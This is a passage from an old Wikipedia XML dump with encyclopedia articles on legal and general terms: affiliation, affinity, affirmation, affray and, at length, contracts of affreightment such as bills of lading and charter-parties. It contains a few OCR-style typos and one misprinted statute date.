The amount ordered to be paid may subsequently be increased or diminished ([[1905]]; 94 N.Y. Supplt. 372).  On the continent of [[Europe]], however, the [[legislation]] of the various countries differs rather widely.  [[France]], [[Belgium]], the [[Netherlands]], [[Italy]], [[Russia]], [[Servia]] and the [[cantons of Switzerland|canton]] of [[Geneva]] provide no means of inquiry into the paternity of an illegitimate child, and consequently all support of the child falls upon the mother; on the other hand, [[Germany]], [[Austria]], [[Norway]], [[Sweden]], [[Denmark]] and the majority of the Swiss cantons provide for an inquiry into the paternity of illegitimate children, and the law casts a certain amount of responsibility upon the father. 

Affiliation, in [[France]], is a term applied to a species of adoption by which the person adopted succeeds equally with other heirs to the acquired, but not to the inherited, property of the deceased.

==See also== 
* [[Adoption]]
* [[Illegitimacy]]
* [[Poor Laws]] 

==References==
*{{1911}}

[[da:affiliation]]</text>
    </revision>
  </page>
  <page>
    <title>Affinity</title>
    <id>2663</id>
    <revision>
      <id>38104613</id>
      <timestamp>2006-02-04T05:11:34Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|affinity}}

'''Affinity''' may refer to:

* [[Affinity (law)]], kinship by marriage
* [[Affinity (canon law)]], a relationship arising from the sexual intercourse of a man and a woman
* [[Chemical affinity]]
* [[Electron affinity]]
* [[Affinity laws]], in hydraulics, used to express the relationship between variables involved in pump performance
* [[Affinity (Christian organisation)]], formerly known as the British Evangelical Council

==See also==
*[[Affine]]

[[de:Affinität]]
[[fr:Affinité]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Affirmation</title>
    <id>2664</id>
    <revision>
      <id>40638440</id>
      <timestamp>2006-02-22T00:07:46Z</timestamp>
      <contributor>
        <username>Pmadrid</username>
        <id>80772</id>
      </contributor>
      <text xml:space="preserve">:''For other senses of this word, see [[affirmation (disambiguation)]].''

An '''affirmation''' (from [[Latin]] ''affirmare'', to assert) is the declaration that something is true.

In [[logic]], an '''affirmation''' is a positive judgment, the union of the subject and predicate of a proposition.

In [[law]], an '''affirmation''' is a solemn promise or assertion made under the penalties of [[perjury]] that has exactly the same legal effect as an [[oath]].  To [[affirm]] is to make an affirmation.  This option is allowed to those who conscientiously object to taking an oath, usually to avoid the religious implications of an oath.  The [[Constitution of the United States]] makes four references to an &quot;oath or affirmation&quot;: In Article I, [[United States Senate|Senators]] must take a special oath or affirmation for the purpose of sitting as the tribunal for [[impeachment]]; in Article II, the president is required to take a specified  oath or affirmation before entering office (see [[oath of office]]); in Article VI, all state and federal officials must take an oath or affirmation to support the U.S. Constitution; and in Amendment IV, all [[arrest warrant]]s and [[search warrant]]s must be supported by [[evidence (law)|evidence]] given under oath or affirmation.  

In [[spirituality]] and [[personal development]], an '''affirmation''' is a form of [[autosuggestion]] in which a statement of a desirable intention or condition of the world or the mind is deliberately meditated on or repeated in order to implant it in the mind. Affirmation could be viewed positively as a mobilization of one's inner resources, or negatively as a kind of self-induced brainwashing, depending on the psychological depth and wisdom of the affirmation. For example, &quot;I am making more room in my life for success every day&quot; is a much wiser affirmation than &quot;I will win the lottery today!&quot;  Affirmations can be a very powerful means of reprogramming the [[unconscious mind]].  They appear to be most effective when repeated in a quiet and restful state of mind and body.

Perhaps the most often used and well-known affirmation is the word &quot;[[Amen]],&quot; which can be translated simply, &quot;so be it,&quot; affirming the truth of whatever was written or said immediately prior. While often used to conclude [[prayer]], the word itself is neutral as to its context and exemplifies a logical affirmation more than a spiritual one.

==References==
*{{1911}}
[[Category:Oaths]]


'''External Links'''
{{wiktionarypar|affirmation}}
* [http://www.self-help-and-self-development.com/affirmations.html Affirmations]
* [http://www.guidetosuccess.ws/affirmation.php Free Affirmations in your Inbox every day!]
* [http://www.bmindful.com bmindful - helping you bpositive.]
* [http://www.daily-affirmations.com/ Daily Affirmations]
[[de:Affirmation]]
[[lt:Afirmacija]]</text>
    </revision>
  </page>
  <page>
    <title>Affray</title>
    <id>2665</id>
    <revision>
      <id>23951875</id>
      <timestamp>2005-09-25T00:25:22Z</timestamp>
      <contributor>
        <ip>172.198.197.172</ip>
      </contributor>
      <text xml:space="preserve">In [[law]], the '''affray''' is the fighting of two or more persons in a public place to the terror (in [[French language|French]]: ''à l'effroi'') of the [[liege]]s.

The offence is a [[misdemeanour]] at [[United Kingdom|English]] [[common law]], punishable by [[fine]] and [[imprisonment]].

A fight in private is an [[assault]] and [[Battery (crime)|battery]], not an affray.

As those engaged in an affray render themselves also liable to prosecution for [[assault]], [[Riot act|Unlawful Assembly]], or [[Riot]], it is for one of these offences that they are usually charged.

Any private person may, and [[constable]]s and justices must, interfere to put a stop to an affray.

In the [[United States]] the English common law as to affray applies, subject to certain modifications by the [[statute]]s of particular states (Bishop, ''Amer. Crim. Law,'' 8th ed., 1892, vol. i. sec.  535).

The [[India|Indian]] Penal [[Code]] (sect. 159) adopts the English definition of affray, with the substitution of ''actual disturbance of the [[peace]]'' for ''causing terror to the lieges.''

The [[Queensland]] Criminal [[Code]] of [[1899]] (sect. 72) defines affray as taking part in a fight in a public [[highway]] or taking part in a fight of such a nature as to alarm the public in any other place to which the public have access.  This definition is taken from that in the English [[Criminal Code]] Bill of [[1880]], cl. 96. 

Under the Roman [[Netherlands|Dutch]] law in force in [[South Africa]] affray falls within the definition of ''vis publica''.


''Based on an article from a [[Britannica Public Domain|well-known encyclopedia published in 1911]].''
[[Category:Legal terms]]</text>
    </revision>
  </page>
  <page>
    <title>Affreightment</title>
    <id>2666</id>
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      <id>28108770</id>
      <timestamp>2005-11-12T11:46:52Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Affreightment ''' (from [[freight]]) is a [[legal term]] used in [[shipping]]. Contract of Affreightment is the expression usually employed to describe the contract between a shipowner and some other person called the freighter, by which the shipowner agrees to carry goods of the freighter in his ship, or to give to the freighter the use of the whole or part of the cargo-carrying space of the ship for the carriage of his goods on a specified voyage or voyages or for a specified time; the freighter on his part agreeing to pay a specified price, called ''freight,'' for the carriage of the goods or the use of the ship.  A ship may be let like a house to some person who takes possession and control of it for a specified term.  The person who hires a ship in this way occupies during the currency of his term the position of shipowner.  The contract by which a ship is so let may be called a charter-party; but it is not, properly speaking, a contract of affreightment, and is mentioned here only because it is necessary to remember the distinction between a charter-party of this kind, which is sometimes called a demise of the ship, and a charter-party which is a form of contract of affreightment, as will hereinafter appear. 

=== Rules of law. ===

The law with regard to the contract of affreightment is, of course, a branch of the general law of contract.  The rights and obligations of the shipowner and the freighter depend, as in the case of all parties to contracts, upon the terms of the agreement entered into between them.  The law, however, interferes to some extent in regulating the effect to be given to contracts.  Certain contracts are forbidden by the law, and being illegal are, therefore, incapable of enforcement.  The most important example of illegality in the case of contracts of affreightment is when the contract involves trading with an enemy.  The law interferes again with regard to the interpretation of the contract.  The meaning to be given to the words of the contract, or, in other words, its construction, when a dispute arises about it, must be determined by the judge or court.  The result is, that certain more or less common clauses in contracts of affreightment have come before the courts for construction, and the decisions in these cases are treated practically, though not perhaps quite logically, as rules of law determining the sense to be put upon certain forms of expression in common use in shipping contracts.  A third way in which the law interferes is by laying down certain rules by which the rights of the parties are to be regulated in the absence of any express stipulation with regard to the matter dealt with by such rules.  This is done either by statutory enactment, as by that part (Part VIII) of the Merchant Shipping Act [[1804]] which deals with the liability of shipowners; or by established rules of the unwritten law, the ''common law'' as it is called, as, for instance, the rule that the common carrier is absolutely responsible for the safe delivery of the goods carried, unless it is prevented by the act of God or the king's enemies.  These rules of law, whether common law or statute law, regulating the obligations of carriers of goods by sea, are of most importance in cases which are uncommon though not unknown at the present day, in which there is an affreightment without any written agreement of any kind.  It will, therefore, be convenient to consider first cases of this kind where there is no express agreement, oral or written, except as to the freight and destination of the goods, and where, consequently, the rights and obligations of the parties as to all other terms of carriage depend wholly upon the rules of law, remembering always that these same rules apply when there is a written contract, except in so far as they are qualified or negatived by the terms of such contract. 

=== In defaults of express contract. ===

The rules of the common or ancient customary law of [[England]] with regard to the carriage of goods were no doubt first considered by the courts and established with regard to the carriage of goods by common carriers on land.  These rules were applied to common carriers by water, and it may now be taken to be the general rule that shipowners who carry goods by sea are by the [[United Kingdom|English]] law subject to the liabilities of common carriers. (See, as to the grounds and precise extent of this doctrine, the judgments in Liver Alkali Company v. Johnson ([[1874]]), L.R., 9 Ex. 338, and Nugent v. Smith ([[1876]]) 1 C.P.D. 423.) In practice goods are not often shipped without a written contract or acknowledgment of the terms upon which they are to be carried.  For each separate consignment or parcel of goods shipped a bill of lading is almost invariably given, and when a whole cargo is agreed to be carried the terms are set out in a document called a charter-party, signed by or on behalf of the shipowner on the one part, and the shipper, who is called the charterer, on the other part.  But at present we are considering the relations of shipowner and shipper independently of any express contract, as in a case when goods are shipped and received to be carried to the place to which the ship is bound for a certain freight, but without any further agreement as to the terms of carriage.  In such a case the rights of the parties depend on the rules of law, or, which is much the same thing, upon the warranties or promises which though not expressed must, as the courts have held, be implied as arising from the relation between the parties as shipper and carrier.  The obligations on the one side and the other may be defined shortly to be as follows:--The shipper must not ship goods of a nature or in a condition which he knows, or ought, if he used reasonable care, to know to be dangerous to the ship, or to other goods, unless the shipowner has notice of or has sufficient opportunity to observe their dangerous character.  The shipper must be prepared, without notice from the shipowner, to take delivery of his goods with reasonable despatch on the arrival of the ship at the place of destination, being ready there to discharge in some usual discharging place.  The shipper must pay the agreed freight, and will not be entitled to claim delivery until the freight has been paid.  In other words, the shipowner has a lien on the goods carried for the freight payable in respect of the carriage.  On the other hand, the obligation upon the shipowner is first and foremost to deliver safely at their destination the goods shipped, and this obligation is, by the common law, subject to this exception only that the shipowner is not liable for loss or damage caused by the act of God or the king's enemies; but by statute (Merchant Shipping Act 1894, Part Viii.) it is further qualified to this extent that the shipowner is not liable for loss, happening without his actual fault or privity, by fire on board the ship, or by the robbery or embezzlement of or making away with gold or silver or jewellery, the true nature and value of which have not been declared in writing at the time of shipment; and, further, the shipowner is not laable for damage to or loss of goods or merchandise beyond an aggregate amount, not exceeding eight pounds per ton for each ton of the ship's tonnage.  The shipowner is bound by an implied undertaking, or, in other words, is made responsible by the law as if he had entered into an express undertaking: (1) that the ship is seaworthy; (2) that she shall proceed upon the voyage with reasonable despatch, and shall not deviate without necessity from the usual course of the voyage. 

It is not our purpose in this article to discuss minute or doubtful questions; but in their general outline the obligations of shipper and shipowner, where no terms of carriage have been agreed, except as to the freight and destination of the goods, are such as have been described above.  The importance of appreciating clearly this view of the relations of shipper and shipowner arises from the fact that these fundamental rules apply to all contracts of affreightment, whether by bill of lading, charter-party or otherwise, except in so far as they are modified or negatived by the express terms of the contract. 

Bills of Lading. The document signed by the master or agent for the shipowner, by which are acknowledged the shipment of a parcel of goods and the terms upon which it is to be carried, is called a Bill of Lading.  Very many different forms of bills of lading are used.  For the purpose of illustration the following form (from Mr Scrutton's book on Charter-parties and Bills of Lading) has been selected as a sample:-- 

:&lt;tt&gt;Shipped, in apparent good order and condition by _________ in and upon the good Vessel called the _________ now lying in the port of ________ and bound for ________, with liberty to call at any ports in any order, to sail without Pilots, and to tow and assist Vessels in distress, and to deviate for the purpose of saving life or property; and to be delivered in the like good order and condition at the aforesaid port of _________ unto _______ or to his or their assigns, freight and all other conditions as per Charter Party. The act of God, perils of the sea, fire, barratry of the Master and Crew, enemies, pirates, and thieves, arrests, and restraints of princes, rulers, and people, collisions, stranding, and other accidents of navigation excepted, even when occasioned by negligence, default, or error in judgment of the Pilot, Master, Mariners, or other servants of the Shipowners.&lt;/tt&gt;

:&lt;tt&gt;Ship not answerable for losses through explosion, bursting of boilers, breakage of shafts, or any latent defect in the machinery or hull, not resulting from want of due diligence by the Owners of the Ship, or any of them, or by the Ship's Husband or Manager.&lt;/tt&gt;

:&lt;tt&gt;General Average payable according to York-Antwerp Rules.&lt;/tt&gt;

:&lt;tt&gt;In Witness whereof, the Master or Agent of the said Ship hath affirmed to three Bills of Lading, all of this tenor and date, drawn as first, second and third, one of which Bills being accomplished, the others to stand void.&lt;/tt&gt;

:&lt;tt&gt;Dated in ________ this ________ day of _______ 188_.&lt;/tt&gt;

The bill of lading is an acknowledgment of the shipment of goods in a named vessel for carriage to a specified destination on terms set forth in the document.  It is usually signed by the master of the vessel, but very commonly by the agents of the shipowner or sometimes of the charterers of the vessel.  A vessel may be employed by its owners to earn freight in various ways: (1) It may be placed, as it is said, on the berth as a general ship, to receive cargo from any shippers who may desire to send goods to the port, or one of the ports, to which the vessel is bound.  The mate or chief officer usually superintends the loading, and, as goods are shipped, a mate's receipt is given as an acknowledgment of the shipment.  The mate's receipt is afterwards exchanged for the bill of lading. In the case of a shipment by a general ship the bill of lading is the evidence and memorandum of the contract between the shipowner and the shipper. (2) A shipper may, however, require the whole cargo space of the vessel to carry, for example, a full cargo of grain.  In such a case the vessel will be chartered by the shipowner to the shipper. and the contract will be the charter-party.  Even in such a case a bill or bills of lading will usually be given to enable the shipper to deal more conveniently with the goods by way of sale or otherwise.  By the ancient custom of merchants recognized and incorporated in the law, the bill of lading is a document of title, representing the goods themselves, by the transfer of which symbolical delivery of the goods may be made.  But when a cargo is shipped under a charter party, although bills of lading may be given to the charterer, it is the charter-party, and not the bills of lading, which constitutes the record of the contract between the parties---of charter-parties we shall treat below. (3) There is a third class of case which is a combination of the two with which we have dealt above.  A vessel is very commonly chartered by her owner to a charterer who has no intention to ship and does not ship any cargo on his own account, but places the vessel on the berth to receive cargo from shippers who ship under bills of lading.  The charterer receives the bill of lading freight and pays the charter-party freight, his object being of course to obtain a total bill of lading freight in excess of the chartered freight, and so make a profit.  The master, although he usually remains the servant of the shipowner during the term of the charter-party, acts nevertheless under the directions and on behalf of the charterer in signing bills of lading.  The legal effect of this situation is that shippers who ship goods under bills of lading without knowledge of the terms of the charter-party are entitled to look to the shipowner as the person responsible to them for the safe carriage of their goods.  This right depends essentially on the fact that the master who signs the bills of lading, although in doing so he is acting for the charterer, remains nevertheless the servant of the shipowner, who is not allowed to deny as against third persons, who do not know the relations between the charterer and the shipowner, that his servant, the master of the ship, has the ordinary authority of a master to bind his owner by signing bills of lading. 

The forms of bills of lading vary very much, and their clauses have been the subject of judicial consideration and decision in a vast number of reported cases.  The essential particulars, or at all events those common to all bihs of lading, may be stated as follows: 

#The name of the shipper.
#The name of the ship.
#The place of loading and destination of the ship.
#A description of the goods shipped.
#The place of delivery.
#The persons to whom delivery is to be made.
#The freight to be paid.
#The excepted perils.
#The shipowner's lien.

The description of (1) the shipper and (2) the ship calls for no remark.  The (3) description of the voyage is important, because there is, as we have already explained, an implied undertaking by the shipowner in every contract of carriage not unnecessarily to deviate from the ordinary route of the voyage upon which the goods are received to be carried.  The consequences of a deviation are serious, inasmuch as the shipowner is liable, not only for any loss or damage which the shipper suffers in consequence of the deviation, but for any loss of goods which occurs after the deviation, even though such loss is caused by one of the excepted perils.  The only exception to this rule is that a deviation may be made to save life, but not to save property.  It is, however, very usual to qualify the strictness of this implied undertaking by introducing in the bill of lading certain ''liberties'' to deviate, as, for example, in the form given above, ''liberty to call at any ports in any order, to tow and assist vessels in distress, and to deviate for the purpose of saving life and property.'' The nature and extent of the liberty will depend on the words of the contract.  The inclination of English courts has been to construe clauses giving a liberty to deviate somewhat strictly against the shipowner. 

The (4) importance of the description of the goods shipped and their condition is obvious, as the contract is to deliver them as described and in the like good condition, subject, of course, to the exceptions.  It must, moreover, be noted that, as against the master or person who has himself signed the bill of lading, the statement therein of the goods shipped is absolutely conclusive.  But as against the shipowner, unless he has himself signed the bill of lading, the statement of the goods shipped is not conclusive.  It is evidence as against him that the goods described were shipped, but he is allowed to rebut this evidence by proving, if he can, that the goods mentioned, or some of them, were not in fact shipped. 

As to (5) the place of delivery, very serious questions frequently arise.  Primarily, of course, the shipowner is bound to deliver at the place named.  Should he be prevented by some obstacle or difficulty which is of a temporary nature, the vessel must wait, and delivery must be made as soon as possible.  Where, however, the obstacle is permanent, or at all events such as must cause unreasonable delay, having regard to the nature of the adventure, the shipowner is excused from delivery at the place named in the bill of lading, provided the difficulty arises from an excepted peril, or in consequence of delivery at the place named being forbidden by the law of England, as may happen, for example, in the case of a declaration of war between the [[United Kingdom]] and the state in which the port named in the bill of lading is situate.  A party to a contract cannot be held liable for breaking his contract if its performance has become illegal.  There may be other cases in which, from the circumstances of the voyage and adventure, it must be inferred that the parties intended the performance of the contract to be conditional on the existence at the time of performance of a certain state of things, the non-existence of which would render performance impossible.  For instance, if the port named in the bill of lading became permanently closed and inaccessible to shipping in consequence of an earthquake, it would probably be held that the continued existence of the place named as a port was an implied condition of the contract, and that the shipowner was excused.  Where, however, the performance of the contract remains lawful, and is not excused by the express terms of the contract, or by some implied condition, the shipowner is liable for any loss or damage suffered by the shipper by reason of his goods not being delivered at the named place, even though such delivery has become impossible.  There is another reason why the precise description of the place of delivery often becomes important.  It is only on the arrival of the ship at the place described as the place of delivery that the obligation of the consignee of the goods to take delivery commences.  Delay involves considerable loss and expense to the shipowner.  The shipper or consignee is not responsible for any delay which occurs before the ship has arrived at the place of delivery described in the bill of lading. 

(6) The goods may be deliverable by the terms of the bill of lading to a named consignee, and to him only, but more usually they are made deliverable to the ''order or assigns'' of the named consignee or of the shipper.  If the goods are made deliverable to order or assigns the bill of lading is a negotiable instrument, or, in other words, the right to the goods, and the rights and liabilities under the contract contained in the bill of lading, may be transferred by indorsement and delivery of the document.  When an indorsement has once been made by the shipper or consignee writing his name and nothing more on the back of the bill of lading, the rights in and under it may be transferred from hand to hand by mere delivery.  A bill of lading so indorsed is said to be indorsed ''in blank.'' But the shipper or consignee may restrict the negotiability of the bill of lading by indorsing it not ''in blank,'' but with a direction requiring delivery to be made to a particular person or indorsee, or to his order.  This is called an indorsement ''in full.'' When an indorsement has been made ''in full'' to a named indorsee or order, such indorsee must again indorse ''in blank'' or ''in full'' to effect a new transfer of the rights in the bill of lading. 

(7) The amount or rate of freight payable is stated in the bill of lading, either expressly, or, not uncommonly when the freight under the bill of lading is the same as under the charter-party, by reference to the charter-party.  A common form of such reference is ''freight and other conditions, as per charter-party.'' It may here be mentioned that this form of words does not incorporate in the contract under the bill of lading all the terms and conditions of the charter-party, but only those which apply to the person who is to take delivery, and relate to matters ejusdem generis, or similar to the payment of freight, such as demurrage and the like.  The conditions of the charter-party thus incorporated do not include, for instance, the exceptions in the charter-party so as to add them to the exceptions in the bill of lading.  Freight, unless it is otherwise provided by the contract, is payable only on delivery of the goods at their destination.  If the voyage is interrupted and its completion becomes impossible, the shipowner cannot claim payment of freight even pro rata itineris. He loses his freight altogether.  This is so even when the completion of the voyage is prevented by causes for which the shipowner is not responsible, such as the act of God or the king's enemies, or perils which are within the express exceptions in the bill of lading.  When the voyage is interrupted by accident, and indeed in any case, the goods may, by agreement between the shipowner and the consignee, be delivered at some place short of their destination upon payment of a freight pro rata; that is to say, proportional to the length of voyage accomplished, and such an agreement may be implied in certain circumstances from the conduct of the consignee in taking delivery before they arrive at their destination.  In all such cases it will be a question of fact whether the goods were in fact delivered upon the terms, express or implied, that freight pro rata should be paid.  As a rule such an agreement would not be implied where the shipowner is unable or unwilling to forward the goods to their destination, and the owner of the goods, therefore, has no option but to take delivery where offered. 

When the ship is disabled and cannot proceed, or she is prevented by some obstacle from proceeding to the place of delivery named in the bill of lading, and the shipowner is unwilling or unable to forward the goods by another ship, even though he may be excused for his failure to carry the goods to their destination, he is not entitled to be paid any part of the freight; and the consignee is entitled to have the goods delivered to him either at the place where the vessel has taken refuge in her disabled condition, or, if the obstacle arises without disablement of the vessel, at the place which is nearest and most reasonably convenient at the time and in the circumstances when the further prosecution of the voyage has to be abandoned.  On the other hand, after the goods have been shipped, so long as the shipowner is ready and willing to carry the goods to their destination, or, if the ship is disabled, to forward them to their destination by some other ship without unreasonable delay, the owner of the goods cannot require the goods to be delivered to him at any place short of their destination without payment of the full freight.  Sometimes the freight, either wholly or in part, is made payable in advance. If freight payable in advance has become due, even though the ship is lost before it is paid, it must, in the absence of some special provision to the contrary, still be paid, and freight already paid in advance does not become repayable because the goods do not reach their destination.  If, however, goods upon which freight has been paid in advance are lost, and the shipowner is liable for their loss, the amount of freight paid in advance must be taken into account in assessing the damage recoverable from the shipowner. 

(8) There is no part of the bill of lading which is of greater practical importance or which demands more careful consideration by shipowner and shipper alike than that which sets forth the excepted perils: those perils, or in other words causes of loss, for which the shipowner is to be exempt from liability.  By the common law, as we have seen, the exemption of the carrier, apart from express contract, extended only to loss by the act of God or the king's enemies.  The expression ''act of God'' requires a word of explanation.  It will be sufficient to say that it is not synonymous with force majeure; but it includes every loss by force majeure in which human agency, by act or negligence, has had no part.  The list of excepted perils varies much in different forms of bills of lading.  In the older forms it usually included perils of the seas, robbers and pirates, restraint of princes and rulers, fire and barratry (that is, wilful wrongdoing) of the master and crew.  The list, however, has grown in modern times, and is still growing; the tendency being to exempt the shipowner from liability for all loss which does not arise from his own personal default, or from the negligence of his managers or agents in failing to provide a vessel seaworthy and fit for the voyage at its commencement.  It is important to point out in this connection that there are two duties which the shipowner is always presumed to undertake, and which are assumed to be unaffected and unqualified by the exceptions, unless a contrary intention is very clearly expressed by the terms of the contract.  In the first place, he undertakes absolutely that the ship in which the goods are shipped is fit at the commencement of the voyage for the service to be performed.  If during the voyage loss arises even from dangers of the seas or other excepted peril which would not have occurred if the vessel had been seaworthy and fit for the voyage at its commencement, the shipowner is not protected by the exceptions, and is liable for the loss.  In the second place, there is an implied undertaking by the shipowner that all reasonable care will be taken by himself, his servants and agents, safely to carry and deliver at their destination the goods received by him for carriage.  Should loss or damage occur during the voyage, though the direct cause of such loss or damage be perils of the seas or other excepted peril, still the shipowner cannot claim exemption under the exceptions, if the shipper can prove that the loss or damage would not have occurred but for the negligence of the master or crew, or other servants of the shipowner.  The shipowner, in other words, is bound, with his servants, to use all reasonable care to prevent loss by excepted perils and by any other cause. 

=== Express stipulations. ===

*It must not be supposed that even these primary obligations, which are introduced into every contract of affreightment not by express terms of the contract.
*It has now become common form to stipulate that the shipowner shall not be liable for any loss arising from the negligence of his servants, or that he shall not be liable for loss by the excepted perils even when brought about by the negligence of his servants.
*And with regard to seaworthiness, it is not uncommon for the shipowner to stipulate that he shall not be responsible for loss arising even from the unseaworthiness of the ship on sailing, provided that due care has Been taken by the owner and his agents and servants to make the ship seaworthy at the commencement of the voyage.
*There is indeed no rule of English law which prevents a shipowner from exempting himself by the terms of the bill of lading from liability for damage and loss of every kind, whether arising from unseaworthiness or any other cause whatsoever.
*In such a case the goods are carried at their owner's risk, and if he desires protection he must obtain it by insurance.
*In this respect the law of England permits greater freedom of contract than is allowed by the law of some other states.
*The owners, agents and masters of vessels loading in the [[United States|United States of America]] are forbidden by an act of Congress, commonly called the Harter Act, passed in the year [[1893]], to insert in their contracts of affreightment any clause exempting the shipowner from liability for the negligence of his servants; but it is at the rame time enacted that, provided all reasonable skill and care has been exercised by the shipowner to make the vessel seaworthy and fit for the voyage at its commencement, the shipowner shall not be liable for any loss caused by the negligence of the master or crew in the navigation of the vessel, or by perils of the sea or certain other causes set forth in the act.
*It is now very usual to insert in the bills of lading of [[United Kingdom|British]] vessels loading in the United States a reference to the Harter Act, incorporating its provisions so as to make them terms and conditions of the bill of lading. 

The difficulty of construing the terms of bills of lading with regard to the excepted perils, often expressed in obscure and inexact language, has given rise to much litigation, the results of which are recorded in the law reports.  Where such difficulties arise the question must be, What is the true and natural meaning of the language used by the parties? This question is not governed by the general rules which we have endeavouted to explain: but the words of the contract must always be considered with reference to these rules, which are founded upon the well-established customs of merchants recognized and formulated by the courts of law. 

(9) The bill of lading sometimes contains a clause as to the shipowner's lien. Without any express provision for it the shipowner has by the common law a lien for freight.  If it is desired to give the shipowner a lien for demurrage (see below) or other charges, it must be expressly provided for.  The lien is the right of the shipowner to retain the goods carried until payment has been made of the freight or the demurrage, or other charge for which a lien has been given.  The lien may be waived, and is lost by delivery of the goods, or by any dealing with the consignee which is inconsistent with a right of the shipowner to retain possession of the goods until payment has been made.  The shipowner may preserve his lien by landing the goods and retaining them in his own warehouse, or by storing them in a public warehouse, subject to the conditions required by the Merchant Shipping Act [[1894]]. 

=== Charter-parties. ===

Charter-parties are, as we have already explained, either for a voyage or for a period of time. (1) A charter-party for a voyage is a formal agreement made between the owner of the vessel and the charterers by which it is agreed that the vessel ''being tight, staunch and strong, and every way fitted for the voyage,'' shall load at a certain named place a full cargo either of goods of a specified description or of general merchandise, and being so loaded shall proceed with all possible despatch either to a specified place or to a place to be named at a specified port of call, and there deliver the cargo to the charterers or their assigns.  There are clauses which provide for the amount of freight to be paid and the manner and time of payment; for the time, usually described as lay days, to be allowed for loading and discharging, and for the demurrage to be paid if the vessel is detained beyond the lay days; usually also a clause requiring ''the cargo to be brought to and taken from alongside at merchant's risk and expense''; a clause that the master shall sign bills of lading for the cargo shipped either at the same rate of freight as is payable under the charter-party or very commonly at any rate of freight (but in this case with a stipulation that, if the total bill of lading freight is less than the total freight payable under the charter-party, the difference is to be paid by the charterers to the master before the sailing of the vessel); and there is usually vhat is called the cesser clause, by which the charterer's liability under the charter-party is to cease on shipment of the cargo, the shipowner taking a lien on the cargo for freight, dead freight and demurrage.  The charter-party is made subject to exceptions similar to those which are found in bills of lading.  There are also usually clauses providing for the commissions to be paid to the brokers on signing the charter-party, the ''address'' commission to be paid to the agents for the Vessel at the port of discharge, and other matters of detail.  The clauses in charter-parties vary, of course, indefinitely, but the above is probably a sufficient outline of the ordinary form of a charter-party for a voyage. 

What has been said with regard to bills of lading as to the voyage, the place of delivery, the exceptions and excepted perils, and the liability of the shioowner and his lien applies equally to charter-parties. lt may be desirable to add a few words on demurrage, dead Freight, and on the cesser clause. 

Demurrage is, properly speaking, a fixed sum per day or per hour agreed to be paid by the charterer for any time during which the vessel is detained in loading or discharging over and above the time allowed, which is, as we have said, usually described as the lay days. Sometimes the number of days during which the vessel may be kept on demurrage at the agreed rate is fixed by the charter-party.  If no demurrage is provided for by the charter-party, and the vessel is not loading or discharging beyond the lay days, the shipowner is entitled to claim damages in respect of the loss which he has suffered by the detention of his ship; or, if the vessel is detained beyond the fixed number of demurrage days, damages for detention will be recoverable.  Sometimes there is no time fixed by the charter-party for loading or discharging.  The obligation in such cases is to load or discharge with all despatch that is possible and reasonable in the circumstances; and if the loading or discharging is not done with such reasonable despatch, the shipowner will be entitled to claim damages for detention of his ship.  The rate of demurrage (if any) will generally be accepted as the measure of the damages for detention, but is not necessarily the true measure.  When the claim is for detention and not demurrage the actual loss is recoverable, which may be more or may be less than the agreed rate of demurrage.  The contract usually provides that Sundays and holidays shall be excepted in counting the lay days, but unless expressly stipulated this exception does not apply to the computation of the period of detention after the lay days have expired. 

Dead freight is the name gaven to the amount of freight lost, and therefore recoverable by the shipowner from the charterer as damages if a full and complete cargo is not loaded in accordance with the terms of the charter-party. 

The cesser clause has come into common use because very frequently the charterers are not personally interested in the cargo shipped.  They may be agents merely, or they may have chartered the vessel as a speculation to make a profit upon the bill of lading freight.  The effect of the clause is that when the charterers have shipped a full cargo they have fulfilled all their obligations, the shipowner discharging them from all further liability and taking instead a lien on the cargo for payment of all freight, demurrage or dead freight that may be payable to him.  It has become an established rule for the construction of the cesser clause that, if the language used will permit it, the cesser of liability is assumed to be co-extensive only with the lien given to the shipowner; or, in other words, the charterers are released from those liabilities only for which a lien is given to the shipowner.  The shipowner is further secured by the stipulation already referred to, that if the total freight payable under the bills of lading is less than the full chartered freight the difference shall be paid to the shipowner before the vessel sails.  A difficulty which sometimes arises, notwithstanding these precautions, is that although an ample lien is given by the charter-party, the terms of the bills of lading may be insufficient to preserve the same extensive lien as against the holder of the bills of lading.  The shippers under the bills of lading, if they are not the charterers, are not liable for the chartered freight, but only for the bill of lading freight; and unless the bill of lading expressly reserves it, they are not subject to a lien for the chartered freight.  The master may guard against this difficulty by refusing to sign bills of lading which do not preserve the shipowner's lien for his full chartered freight.  But he is often put into a difficulty by a somewhat improvident clause in the charter-party requiring him to sign bills of lading as presented. See Kruger v. Moel Tryvan, [[1907]] A. C. 272. 

(2) A time charter-party is a contract between the shipowner and charterers, by which the shipowner agrees to let and the charterers to hire the vessel for a specified term for employment, either generally in any lawful trade or upon voyages within certain limits.  A place is usually named at which the vessel is to be re-delivered to the owners at the end of the term, and the freight is payable until such re-delivery; the owner almost always pays the wages of the master and crew, and the charterers provide coals and pay port charges; the freight is usually fixed at a certain rate per gross register ton per month, and made payable monthly in advance, and provision is made for suspension of hire in certain cases if the vessel is disabled; the master, though he usually is and remains the servant of the owner, is required to obey the orders of the charterers as regards the employment of the vessel, they agreeing to indemnify the owners from all liability to which they may be exposed by the master signing bills of lading or otherwise complying with the orders of the charterers; and the contract is made subject to exceptions similar to those in bills of lading and voyage charter-parties.  This is the general outline of the ordinary form of a time charter-party, but the forms and their clauses vary, of course, very much, according to the circumstances of each case. 

It is apparent that under a time charter-party the shipowner to a large extent parts with the control of his ship, which is employed within certain limits according to the wish and directions, and for the purposes and profit of, the charterers.  But, as we have already explained at the beginning of this article, the shipowner continues in possession of his vessel by his servant the master, who remains responsible to his owner for the safety and proper navigation of the ship.  The result of this, as has been already pointed out, is that the holder of a bill of lading signed by the master, if he has taken the bill of lading without knowledge of the terms of the time charter-party, may hold the owner responsible for the due performance of the contract signed by the master in the ordinary course of his duties, and within his ostensible authority as servant of the shipowner, although in fact in signing the bill of lading the master was acting as agent for and at the direction of the time charterer, and not the shipowner.  In the language of the ordinary time charter-party the ship is let to the charterers; but there is no true demise, because, as we have pointed out, the vessel remains in the possession of the shipowner, the charterer enjoying the advantages and control of its employment.  Where the possession of a ship is given up to a hirer, who appoints his own master and crew, different considerations apply; but though the instrument by which the ship is let may be called a charter-party, it is not truly a contract of affreightment. 

